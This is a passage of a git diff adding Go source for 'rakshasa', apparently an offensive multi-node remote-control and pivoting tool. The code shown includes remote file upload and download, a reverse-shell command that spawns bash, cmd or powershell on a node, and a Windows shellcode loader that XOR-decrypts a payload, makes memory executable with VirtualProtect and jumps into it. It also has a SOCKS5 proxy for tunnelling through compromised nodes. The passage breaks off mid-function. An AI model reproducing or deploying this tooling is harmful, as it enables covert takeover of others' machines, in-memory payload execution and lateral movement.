+ i = 0 + } + filename := pwd[i+1:] + dir := pwd[:i] + dir = strings.TrimRight(realpath(dir), "/") + "/" + pwd = dir + filename + resChan := make(chan interface{}, 9999) //避免收消息阻塞 + + filereadChan := make(chan []byte, 10) + + upload := func() { + for i := 0; i < 10; i++ { + buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9) + n, err := f.Read(buf) + if err != nil { + if err == io.EOF { + + return + } + resChan <- err + c.Println("读取文件", c.Args[0], "错误", err) + return + } + + filereadChan <- buf[:n] + } + } + + offset := 0 + be := len(pwd) + 1 + id := n.storeQuery(resChan) + defer n.deleteQuery(id) + b := []byte(pwd) + b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0) + c.ProgressBar().Start() + go upload() + var resnum int + for { + select { + case data := <-filereadChan: + + b[be] = byte(offset) + b[be+1] = byte(offset >> 8) + b[be+2] = byte(offset >> 16) + b[be+3] = byte(offset >> 24) + b[be+4] = byte(offset >> 32) + b[be+5] = byte(offset >> 40) + b[be+6] = byte(offset >> 48) + b[be+7] = byte(offset >> 56) + offset += len(data) + n.Write(common.CMD_UPLOAD, id, append(b, data...)) + case res := <-resChan: + switch v := res.(type) { + case error: + c.ProgressBar().Stop() + c.Println("上传失败", res) + return + case int64: + resnum++ + i := v * 100 / s.Size() + c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%")) + c.ProgressBar().Progress(int(i)) + if v == s.Size() { + c.ProgressBar().Stop() + c.Println(c.Args[0], "上传成功") + return + } + if resnum >= 5 { + go upload() + resnum -= 10 + } + default: + c.Println("协议错误") + return + } + + case <-time.After(common.CMD_TIMEOUT): + c.ProgressBar().Stop() + c.Println("upload time out") + return + } + } + + }, + }) + fileShell.AddCmd(&ishell.Cmd{ + Name: "download", + Help: "下载文件 ,download 远程文件 本地目录(为空本地执行目录)", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 && len(c.Args) != 2 { + c.Println("参数错误") + return + } + pwd := fileShell.Get("pwd").(string) + n := c.Get("node").(*node) + file := c.Args[0] + file = strings.ReplaceAll(file, "\\", "/") + + if strings.Contains(file, ":/") || file[0] == '/' { + pwd = file + } else { + pwd += "/" + file + + } + i := strings.LastIndex(pwd, "/") + if i == -1 { + i = 0 + } + filename := pwd[i+1:] + dir := pwd[:i] + dir = strings.TrimRight(realpath(dir), "/") + "/" + mydir, err := os.Getwd() + local := "./" + filename + if err == nil { + local = mydir + "/" + filename + } + + if len(c.Args) == 2 { + s, err := os.Stat(c.Args[1]) + if err == nil { + if s.IsDir() { + local = strings.TrimRight(c.Args[1], "/") + "/" + filename + } else { + local = c.Args[1] + } + } else { + local = c.Args[1] + } + } + pwd = dir + filename + + result := make(chan interface{}, 999) + id := n.storeQuery(result) + defer n.deleteQuery(id) + b := []byte(pwd) + b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...) + total := int64(-1) + be := len(pwd) + 1 + b[be] = byte(total) + b[be+1] = byte(total >> 8) + b[be+2] = byte(total >> 16) + b[be+3] = byte(total >> 24) + b[be+4] = byte(total >> 32) + b[be+5] = byte(total >> 40) + b[be+6] = byte(total >> 48) + b[be+7] = byte(total >> 56) + n.Write(common.CMD_DOWNLOAD, id, b) + c.ProgressBar().Start() + size := int64(0) + resnum := 0 + total = 0 + var f *os.File + for { + select { + case res := <-result: + switch v := res.(type) { + case error: + c.ProgressBar().Stop() + c.Println("下载失败", res) + return + case int64: + var err error + size = v + f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666) + if err != nil { + c.Println("本地文件 ", local, "写入失败", err.Error()) + return + } + defer f.Close() + case []byte: + if f == nil { + c.Println("本地文件 ", local, "不可写入") + return + } + resnum++ + num, err := f.Write(v) + if err != nil { + c.Println("本地文件 ", local, "写入失败", err.Error()) + return + } + if num != len(v) { + c.Println("本地文件 ", local, "写入失败,写入量不符") + return + } + total += int64(num) + i := total * 100 / size + c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%")) + c.ProgressBar().Progress(int(i)) + if total == size { + c.ProgressBar().Stop() + c.Println(c.Args[0], "下载成功 文件保存到", local) + return + } + if resnum == 10 { + resnum -= 10 + b[be] = byte(total) + b[be+1] = byte(total >> 8) + b[be+2] = byte(total >> 16) + b[be+3] = byte(total >> 24) + b[be+4] = byte(total >> 32) + b[be+5] = byte(total >> 40) + b[be+6] = byte(total >> 48) + b[be+7] = byte(total >> 56) + n.Write(common.CMD_DOWNLOAD, id, b) + } + default: + c.Println("协议错误") + return + } + + case <-time.After(common.CMD_TIMEOUT): + c.ProgressBar().Stop() + c.Println("upload time out") + return + } + } + }, + }) + + remoteShell.AddCmd(&ishell.Cmd{ + Name: "new", + Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,使用方法 connect ip:端口") + return + } + for _, addr := range strings.Split(c.Args[0], ",") { + _, err := connectNew(addr) + if err != nil { + c.Println("连接", addr, "失败", err) + return + } + } + }, + }) + remoteShell.AddCmd(&ishell.Cmd{ + Name: "shell", + Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh", + Func: func(c *ishell.Context) { + if len(c.Args) < 1 { + c.Println("参数错误,例子 shell 1 powershell") + return + } + param := "" + if len(c.Args) == 2 { + param = c.Args[1] + } + n, _ := getNode(c.Args[0]) + if n == nil { + c.Println("无法连接节点", c.Args[0]) + return + } + res := make(chan interface{}, 999) + id := n.storeQuery(res) + + defer n.deleteQuery(id) + p := StartCmdParam{ + Param: param, + Size: common.GetSize(), + } + + b, _ := json.Marshal(p) + n.Write(common.CMD_SHELL, id, b) + s := &remoteCmd{ + cmd: nil, + stdin: nil, + inChan: make(chan []byte, 999), + translate: func(in []byte) ([]byte, error) { return in, nil }, + pong: time.Now().Unix(), + } + + select { + case i := <-res: + switch v := i.(type) { + case error: + c.Println("启动shell失败,错误", v.Error()) + case []byte: + data := v + + s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24 + switch data[4] { + case 0: //windows + if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936 + //gbk转utf8 + s.translate = func(in []byte) ([]byte, error) { + reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder()) + d, e := ioutil.ReadAll(reader) + if e != nil { + return nil, e + } + return d, nil + } + } + case 1: //linux + if runtime.GOOS == "windows" { + if !common.EnableTermVt { + s.translate = func(in []byte) ([]byte, error) { + if in[0] == 27 { + r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0) + res, _ := r.Replace(string(in), "", 0, -1) + return []byte(res), nil + } + return in, nil + + } + } + + } + + } + atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1) + } + case <-time.After(common.CMD_TIMEOUT): + c.Println("启动shell失败,超时") + return + } + + n.shellMap.Store(s.id, s) + r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true}) + defer func() { + n.shellMap.Delete(s.id) + atomic.StoreInt32(&s.cmdStatus, -1) + c.Println("请按回车键退出") + r.Close() + + }() + + go func() { + + for { + + switch s.cmdStatus { + case 1: + + input, err := r.ReadlineEx() + if err != nil { + if err != readline.ErrInterrupt { + res <- err + return + } + if s.cmdStatus == 1 { + + n.Write(common.CMD_SHELL_DATA, s.id, []byte{03}) + } + } + if s.cmdStatus == 1 { + + n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n")) + } + + case 0: + time.Sleep(time.Millisecond * 100) + case -1: + return + } + + } + }() + tick := time.NewTicker(common.CMD_TIMEOUT / 2) + for { + + select { + case b := <-s.inChan: + s.pong = time.Now().Unix() + if len(b) > 0 { + b, err := s.translate(b) + if err != nil { + c.Println("shell 运行失败", err) + return + } + + fmt.Print(string(b)) + } + + case v := <-res: + if err, ok := v.(error); ok { + if err.Error() != "退出shell" { + c.Println("运行shell", param, "失败", err) + } + + } else { + c.Println("无法处理消息", v) + } + return + case <-tick.C: + s.ping = time.Now().Unix() + if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) { + c.Println("shell time out") + return + } + n.Write(common.CMD_SHELL_DATA, s.id, nil) + } + } + }, + }) + rootCli.AddCmd(&ishell.Cmd{ + Name: "remoteshell", + Help: "远程shell", + Func: func(c *ishell.Context) { + remoteShell.Run() + }, + }) + +} + +// 打印节点 +func printNodes(c *ishell.Context) { + l := clientLock.RLock() + defer l.RUnlock() + var list []*node + for _, n := range nodeMap { + list = append(list, n) + } + orderNode(list) + c.Println("ID UUID HostName GOOS IP listenIP") + c.Println("-----------------------------------------------------------------------------------------------------------------------------") + for k, n := range list { + n.id = k + 1 + hostname := bytes.Repeat([]byte(" "), 22) + copy(hostname, n.hostName) + ip := bytes.Repeat([]byte(" "), 23) + if n.uuid == currentNode.uuid { + + copy(ip, "(localhost)"+":"+strconv.Itoa(n.port)) + } else { + copy(ip, n.addr+":"+strconv.Itoa(n.port)) + } + + var s []string + for _, ip := range n.mainIp { + if ip != "" { + s = append(s, ip+":"+strconv.Itoa(n.port)) + } + } + listenip := strings.Join(s, ",") + goos := bytes.Repeat([]byte(" "), 11) + copy(goos, n.goos) + c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip) + } +} + +func realpath(path string) string { + + path_s := strings.Split(path, "/") + realpath := []string{} + if len(path_s) == 0 { + return "error" + } + for _, value := range path_s { + + if value == ".." { + k := len(realpath) + kk := k - 1 + realpath = append(realpath[:kk], realpath[k:]...) + } else { + realpath = append(realpath, value) + } + } + + return strings.Join(realpath, "/") +} +func printConn() { + connMap.Range(func(key, value interface{}) bool { + fmt.Println(key) + return true + }) +} +func getNode(arg string) (*node, error) { + l := clientLock.RLock() + + id, err := strconv.Atoi(arg) + + if err == nil { + for _, n := range nodeMap { + if n.id == id && n.uuid != currentNode.uuid { + l.RUnlock() + return n, nil + } + } + } else { + if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid { + l.RUnlock() + return v, nil + } + } + l.RUnlock() + + return connectNew(arg) +} +func getNodeWithCurrentNode(arg string) (*node, error) { + l := clientLock.RLock() + + id, err := strconv.Atoi(arg) + + if err == nil { + for _, n := range nodeMap { + if n.id == id { + l.RUnlock() + return n, nil + } + } + } else { + if v, ok := nodeMap[arg]; ok { + l.RUnlock() + return v, nil + } + } + l.RUnlock() + + return connectNew(arg) +} diff --git a/server/shell_linux .go b/server/shell_linux .go new file mode 100644 index 0000000..9348d5d --- /dev/null +++ b/server/shell_linux .go @@ -0,0 +1,106 @@ +//go:build linux || darwin +// +build linux darwin + +package server + +import ( + "errors" + "fmt" + "io" + "os/exec" + "rakshasa/common" + "time" + + "github.com/creack/pty" +) + +func startCMD(n *node, msgid uint32, param StartCmdParam) error { + if param.Param == "" { + param.Param = "/bin/bash" + } + shellMapLock.Lock() + defer func() { + if err := recover(); err != nil && common.Debug { + fmt.Printf("错误 %+v\n", err) + } + shellMapLock.Unlock() + }() + + cmd := &remoteCmd{ + id: common.GetID(), + inChan: make(chan []byte), + + translate: func(in []byte) ([]byte, error) { return in, nil }, + pong: time.Now().Unix(), + } + + cmd.cmd = exec.Command(param.Param) + f, err := pty.StartWithSize(cmd.cmd, param.Size) + if err != nil { + + return err + } + cmd.stdin = f + outErr := make(chan error, 999) + + n.shellMap.Store(cmd.id, cmd) + + go func(cmd *remoteCmd) { + defer func() { + n.shellMap.Delete(cmd.id) + f.Close() + cmd.stdin.Close() + }() + errChan := make(chan error, 999) + go func() { + for { + select { + case b := <-cmd.inChan: + if len(b) == 0 { //ping数据包 + + n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong + } else { + + _, err = cmd.stdin.Write(b) + if err != nil { + errChan <- err + } + } + + case err = <-errChan: + if common.Debug { + fmt.Println(cmd.id, "错误关闭", err) + } + cmd.cmd.Process.Kill() + case err = <-outErr: + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...)) + cmd.cmd.Process.Kill() + return + case <-time.After(common.CMD_TIMEOUT): //避免超时 + cmd.cmd.Process.Kill() + return + + } + } + }() + go func() { + buf := make([]byte, common.MAX_PLAINTEXT) + for { + num, err2 := f.Read(buf) + if err2 != nil || io.EOF == err2 { + outErr <- errors.New("退出shell") + break + } + + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + + } + + }() + + cmd.cmd.Wait() + }(cmd) + n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1}) + return nil + +} diff --git a/server/shell_windows.go b/server/shell_windows.go new file mode 100644 index 0000000..51769e5 --- /dev/null +++ b/server/shell_windows.go @@ -0,0 +1,139 @@ +//go:build windows +// +build windows + +package server + +import ( + "errors" + "fmt" + "io" + "rakshasa/common" + "time" + + "os/exec" +) + +func startCMD(n *node, msgid uint32, param StartCmdParam) error { + if param.Param == "" { + param.Param = "cmd" + } + shellMapLock.Lock() + defer func() { + if err := recover(); err != nil && common.Debug { + fmt.Printf("错误 %+v\n", err) + } + shellMapLock.Unlock() + }() + + cmd := &remoteCmd{ + id: common.GetID(), + inChan: make(chan []byte), + translate: func(in []byte) ([]byte, error) { return in, nil }, + pong: time.Now().Unix(), + } + + c := exec.Command("chcp") + res, err := c.Output() + if err != nil { + + return err + } + + cmd.cmd = exec.Command(param.Param) + + stdout, err := cmd.cmd.StdoutPipe() + if err != nil { + + return err + } + cmd.stdin, err = cmd.cmd.StdinPipe() + if err != nil { + + return err + } + + stderr, err := cmd.cmd.StderrPipe() + if err != nil { + return err + } + + err = cmd.cmd.Start() + if err != nil { + return err + } + outErr := make(chan error, 999) + n.shellMap.Store(cmd.id, cmd) + + go func(cmd *remoteCmd) { + defer func() { + n.shellMap.Delete(cmd.id) + stdout.Close() + cmd.stdin.Close() + cmd.cmd.Process.Kill() + }() + var errchan = make(chan error, 10) + go func() { + for { + select { + case b := <-cmd.inChan: + if len(b) == 0 { //ping数据包 + n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong + } else { + _, err = cmd.stdin.Write(b) + if err != nil { + errchan <- err + } + } + + case err = <-errchan: + if common.Debug { + fmt.Println(cmd.id, "错误关闭", err) + } + cmd.cmd.Process.Kill() + case err = <-outErr: + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...)) + cmd.cmd.Process.Kill() + return + case <-time.After(common.CMD_TIMEOUT): //避免超时 + + cmd.cmd.Process.Kill() + return + + } + } + }() + go func() { + + buf := make([]byte, common.MAX_PLAINTEXT) + for { + num, err2 := stdout.Read(buf) + if err2 != nil || io.EOF == err2 { + outErr <- errors.New("退出shell") + + break + } + + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + + } + + }() + go func() { + buf := make([]byte, 1024) + for { + num, err2 := stderr.Read(buf) + if err2 != nil || io.EOF == err2 { + + break + } + n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num]) + //output, _ := libraries.GbkToUtf8(buf[:n]) + + } + }() + cmd.cmd.Wait() + }(cmd) + + n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...)) + return nil +} diff --git a/server/shellcode.go b/server/shellcode.go new file mode 100644 index 0000000..20bb0e2 --- /dev/null +++ b/server/shellcode.go @@ -0,0 +1,159 @@ +package server + +import ( + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/ioutil" + "os" + "os/exec" + "path/filepath" + "rakshasa/common" + "strconv" + "time" + + "github.com/luyu6056/ishell" +) + +type ShellCodeStruct struct { + Str string + Key string + Param string + TimeOut int //second +} + +func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error { + + if dst != "" { + n, err := getNodeWithCurrentNode(dst) + if err != nil { + return fmt.Errorf("无法链接节点%s,错误%v", dst, err) + } + s := ShellCodeStruct{ + Str: shellcode, + Key: xorKey, + Param: param, + TimeOut: timeout, + } + if n.uuid == currentNode.uuid { + return doShellcode(s) + } + res := make(chan interface{}, 1) + id := n.storeQuery(res) + + b, _ := json.Marshal(s) + n.Write(common.CMD_RUN_SHELLCODE, id, b) + select { + case v := <-res: + fmt.Println("运行结果\n", v) + case <-time.After(time.Second * time.Duration(timeout) * 2): + fmt.Println("运行超时无结果") + } + } else { + + b, err := ioutil.ReadFile(shellcode) + if err != nil { + return currentNodeRunShellcode(shellcode, xorKey, param) + } else { + return currentNodeRunShellcode(string(b), xorKey, param) + } + + } + return nil +} +func currentNodeRunShellcode(shellcode, xorKey, param string) error { + + common.ChangeArg(param) + b, err := hex.DecodeString(shellcode) + + if err != nil { + b, err = base64.RawStdEncoding.DecodeString(shellcode) + } + if err != nil { + b = []byte(shellcode) + //fmt.Println(err) + //return errors.New("shellcode hex/base64 解码失败") + } + + if len(xorKey) > 0 { + for i := 0; i < len(b); i++ { + k := i % (len(xorKey)) + b[i] = b[i] ^ xorKey[k] + } + } + + shellcodeRun(b) + return nil +} +func init() { + shellcode := cliInit() + shellcode.SetPrompt("rakshasa\\shellcode>") + shellcode.AddCmd(&ishell.Cmd{ + Name: "run", + + Help: "运行shellcode,参数一为目标节点,参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为等待时间(默认3秒)", + Func: func(c *ishell.Context) { + + if len(c.Args) < 2 { + c.Println("参数错误") + return + } + xorKey := "" + if len(c.Args) > 2 { + xorKey = c.Args[2] + } + param := "" + if len(c.Args) > 3 { + param = c.Args[3] + } + b, err := ioutil.ReadFile(c.Args[0]) + if err != nil { + b = []byte(c.Args[0]) + } + timeout := 3 + if len(c.Args) > 4 { + t, err := strconv.Atoi(c.Args[4]) + if err == nil { + timeout = t + } + } + err = RunShellcodeWithDst(string(b), c.Args[1], xorKey, param, timeout) + if err != nil { + c.Println(err) + } + }, + }) + + rootCli.AddCmd(&ishell.Cmd{ + Name: "shellcode", + Help: "执行shellcode", + Func: func(c *ishell.Context) { + shellcode.Run() + }, + }) + +} +func doShellcode(s ShellCodeStruct) error { + + path, _ := os.Executable() + _, exeName := filepath.Split(path) + + cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param) + reschan := make(chan string, 2) + + go func() { + r, _ := cmd.CombinedOutput() + + reschan <- string(r) + + }() + select { + case res := <-reschan: + return errors.New(res) + case <-time.After(time.Second * (time.Duration(s.TimeOut))): + return errors.New("已执行,等待超时") + } + +} diff --git a/server/shellcode_linux.go b/server/shellcode_linux.go new file mode 100644 index 0000000..8606a2b --- /dev/null +++ b/server/shellcode_linux.go @@ -0,0 +1,10 @@ +//go:build linux || darwin +// +build linux darwin + +package server + +import "errors" + +func shellcodeRun(b []byte) error { + return errors.New("linux暂不支持") +} diff --git a/server/shellcode_windows.go b/server/shellcode_windows.go new file mode 100644 index 0000000..cb968c6 --- /dev/null +++ b/server/shellcode_windows.go @@ -0,0 +1,37 @@ +//go:build windows +// +build windows + +package server + +import ( + "fmt" + "syscall" + "unsafe" +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + VirtualProtect = kernel32.MustFindProc("VirtualProtect") + old32 = syscall.MustLoadDLL("ole32.dll") + CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc") +) + +func shellcodeRun(code []byte) error { + defer func() { + if err := recover(); err != nil { + fmt.Println(err) + } + }() + l := uintptr(len(code)) + pwstrLocal, _, _ := CoTaskMemAlloc.Call(l) + + var old int + _, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old))) + h := [3]uintptr{pwstrLocal, l, l} + s := *(*[]byte)(unsafe.Pointer(&h)) + + copy(s, code) + + syscall.Syscall(pwstrLocal, 0, 0, 0, 0) + return nil +} diff --git a/server/socks5.go b/server/socks5.go new file mode 100644 index 0000000..d6bec3b --- /dev/null +++ b/server/socks5.go @@ -0,0 +1,585 @@ +package server + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "hash/crc32" + "log" + "net" + "rakshasa/common" + "runtime/debug" + "strconv" + "strings" + "sync" + "sync/atomic" + "unsafe" + + "github.com/luyu6056/ishell" +) + +const ( + STATUS_OFF = 0 + STATUS_ON = 1 + UDP_PORT_MIN = 30000 + UDP_PORT_MAX = 60000 + SOCKES5_VERSION = 5 +) + +var ( + SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0} + SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2} + + PROTOCOL_ERR = errors.New("protocolErr") +) + +const ( + SERVER_NUM = 4 //有效的连接数量 + CONN_AUTH_CLOSE = 0 + CONN_AUTH_NONE = 1 + CONN_AUTH_PW = 2 + CONN_AUTH_OK = 3 + CONN_AUTH_MESSAGE = 4 + CONN_REMOTE_CLOSE = 0 + CONN_REMOTE_OPEN = 1 +) + +type clientConnect struct { + cfg *common.Addr + windowsSize int64 + isClose int32 + conn net.Conn + udpConn net.Conn + + remote int32 + auth int + server *node + id uint32 + wait chan int + close string + + udpMap sync.Map + udpRepData []byte + addrData []byte + + listenId uint32 +} + +func (s *clientConnect) Write(b []byte) { + + switch b[0] { + + case common.CMD_CONNECT_BYIDADDR_RESULT: + + switch common.NetWork(b[1]) { + case common.SOCKS5_CMD_CONNECT: + + if b[2] != 1 { + go func() { s.Close("") }() + } else { + + //发送成功消息 + s.auth = CONN_AUTH_MESSAGE + s.conn.Write(append([]byte{5, 0, 0}, s.addrData...)) + } + case common.SOCKS5_CMD_BIND: + s.auth = CONN_AUTH_MESSAGE + s.conn.Write(append([]byte{5, 0, 0}, s.addrData...)) + case common.RAW_TCP: + if b[2] != 1 { + go func() { s.Close("") }() + } + default: + log.Println("未处理") + } + + case common.CMD_CONN_MSG: + if common.Debug { + + fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:])) + } + s.conn.Write(b[1:]) + s.Addwindow(int64(-len(b[1:]))) + case common.CMD_CONN_UDP_MSG: + s.udpConn.Write(b[1:]) + } + +} + +var remoteClose = "服务器要求远程关闭" + +func (s *clientConnect) Close(msg string) { + if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) { + + <-s.wait + s.wait <- common.CONN_STATUS_CLOSE + s.auth = CONN_AUTH_CLOSE + s.server.connMap.Delete(s.id) + + if msg == "" { + msg = "未知关闭" + } + s.close = msg + if msg == remoteClose { + s.remote = CONN_REMOTE_CLOSE + } else if s.remote == CONN_REMOTE_OPEN { + s.remote = CONN_REMOTE_CLOSE + s.Remoteclose() + } + if common.Debug { + fmt.Println("close 原因", msg) + } + s.conn.Close() + if s.udpConn != nil { + s.udpConn.Close() + } + s.udpMap.Range(func(k, _ interface{}) bool { + s.udpMap.Delete(k) + return true + }) + } + +} +func (s *clientConnect) Addwindow(window int64) { + + windows_size := atomic.AddInt64(&s.windowsSize, window) + windows_update_size := int64(common.INIT_WINDOWS_SIZE) + + if windows_size < windows_update_size/2 { //扩大窗口 + if size := windows_update_size - s.windowsSize; size > 0 { + atomic.AddInt64(&s.windowsSize, size) + + go func() { + buf := make([]byte, 8) + buf[0] = byte(size & 255) + buf[1] = byte(size >> 8 & 255) + buf[2] = byte(size >> 16 & 255) + buf[3] = byte(size >> 24 & 255) + buf[4] = byte(size >> 32 & 255) + buf[5] = byte(size >> 40 & 255) + buf[6] = byte(size >> 48 & 255) + buf[7] = byte(size >> 56 & 255) + s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf) + }() + } + } +} + +func StartSocks5(cfg *common.Addr, dst []string) error { + var target *node + var err error + if len(dst) == 0 { + target = currentNode + } else { + target, err = GetNodeFromAddrs(dst) + if err != nil { + return err + } + } + + l := &clientListen{ + + server: target, + localAddr: cfg.Addr(), + id: common.GetID(), + typ: "socks5", + } + l.listen, err = StartSocks5WithServer(cfg, target, l.id) + if err != nil { + + return err + } + + currentNode.listenMap.Store(l.id, l) + return nil +} +func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) { + l, err := net.Listen("tcp", cfg.Addr()) + if err != nil { + return nil, err + } + + fmt.Println("socks5 start ", cfg.Addr()) + go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + c := &clientConnect{ + cfg: cfg, + conn: conn, + server: n, + listenId: id, + } + + go handleSocks5Local(c) + + } + }() + return l, nil +} + +func (s *clientConnect) OnOpened() (close bool) { + s.wait = make(chan int, 1) + s.auth = CONN_AUTH_NONE + s.remote = CONN_REMOTE_OPEN + s.windowsSize = 0 + s.wait <- common.CONN_STATUS_OK + + return +} + +// 监听本地服务 +func handleSocks5Local(s *clientConnect) { + defer func() { + if err := recover(); err != nil { + fmt.Println(err) + debug.PrintStack() + } + }() + b := make([]byte, common.MAX_PLAINTEXT-8) + if s.OnOpened() { + s.Close("无法获得服务器连接") + } + for { + n, err := s.conn.Read(b) + if err != nil { + + s.Close(err.Error()) + return + } + data := b[:n] + + switch s.auth { + case CONN_AUTH_NONE: + + if len(data) > 2 { + if data[0] == 5 { + if s.cfg.User() != "" && s.cfg.Password() != "" { + s.conn.Write(SOCKES5_AUTH_SUSSCES) + s.auth = CONN_AUTH_PW + } else { + s.conn.Write(SOCKES5_AUTH_SUSSCES) + s.auth = CONN_AUTH_OK + } + + } + + } + case CONN_AUTH_PW: + + if s.cfg.User() != "" && s.cfg.Password() != "" { + if len(data) > 4 { + defer recover() + user := string(data[2 : 2+data[1]]) + password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]]) + if user == s.cfg.User() && password == s.cfg.Password() { + s.conn.Write([]byte{5, 0}) + + s.auth = CONN_AUTH_OK + } else { + s.conn.Write([]byte{5, 1}) + } + } + } else { + s.conn.Write([]byte{5, 0}) + s.auth = CONN_AUTH_OK + } + + case CONN_AUTH_OK: + + s.addrData = data[3:] + switch common.NetWork(data[1]) { + case common.SOCKS5_CMD_CONNECT: + addr, port := socks5ReadAddr(data) + + s.connect(common.SOCKS5_CMD_CONNECT, addr, port) + case common.SOCKS5_CMD_BIND: + addr, port := socks5ReadAddr(data) + s.connect(common.SOCKS5_CMD_BIND, addr, port) + case common.SOCKS5_CMD_UDP: + + localIP := s.conn.LocalAddr().String() + localIP = localIP[:strings.Index(localIP, ":")] + //找一个能用的udp端口 + var port uint16 + for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ { + s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{ + IP: net.ParseIP(localIP), + Port: int(i), + }) + if err == nil { + port = i + break + } + } + if s.udpConn == nil { + data[0] = 5 + data[1] = 1 //RepRuleFailure + s.conn.Write(data) + continue + } + repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)} + ipb := ipToByte(localIP) + addr, port := socks5ReadAddr(data) + + s.connect(common.SOCKS5_CMD_UDP, addr, port) + + copy(repdata[4:], ipb) + s.conn.Write(repdata) + go handleSocks5Udp(s) + default: + data[0] = 5 + data[1] = 7 //RepCmdNotSupported + s.conn.Write(data) + } + + case CONN_AUTH_MESSAGE: + + //binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno) + //conn.msgno++ + + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + buf := make([]byte, 8) + buf[0] = byte(new_size) + buf[1] = byte(new_size >> 8) + buf[2] = byte(new_size >> 16) + buf[3] = byte(new_size >> 24) + buf[4] = byte(new_size >> 32) + buf[5] = byte(new_size >> 40) + buf[6] = byte(new_size >> 48) + buf[7] = byte(new_size >> 56) + if common.Debug { + fmt.Println("发送", crc32.ChecksumIEEE(data), len(data)) + } + s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...)) + } + } + +} +func handleSocks5Udp(s *clientConnect) { + var b = make([]byte, 65535) + for { + n, err := s.udpConn.Read(b) + if err != nil { + s.Close(err.Error()) + return + } + data := b[:n] + if b[2] != 0 { + //不支持分片 + continue + } + + data = data[3:] + common.GetIDLock.Lock() + var udpid uint32 + switch data[0] { + case 1: + ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6])) + if v, ok := s.udpMap.Load(ip); !ok { + + udps := &clientConnect{ + server: s.server, + } + udps.udpConn = s.udpConn + udps.id = udps.server.storeConn(s) + udpid = udps.id + udps.udpRepData = make([]byte, 10) + copy(udps.udpRepData, data) + udps.udpMap.Store(ip, udpid) + } else { + udpid = v.(uint32) + } + case 3: + case 4: + } + common.GetIDLock.Unlock() + buf := make([]byte, 4) + buf[0] = byte(udpid) + buf[1] = byte(udpid >> 8) + buf[2] = byte(udpid >> 16) + buf[3] = byte(udpid >> 24) + s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...)) + } + +} +func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) { + ports := strconv.Itoa(int(port)) + + buf := make([]byte, 2+len(addr)+len(ports)) + s.id = s.server.storeConn(s) + buf[0] = byte(command) + copy(buf[1:], addr) + buf[1+len(addr)] = ':' + copy(buf[2+len(addr):], ports) + + s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf) + if value, ok := s.server.listenMap.Load(s.listenId); ok { + switch v := value.(type) { + case *serverListen: + v.connMap.Store(s.id, s) + case *clientListen: + 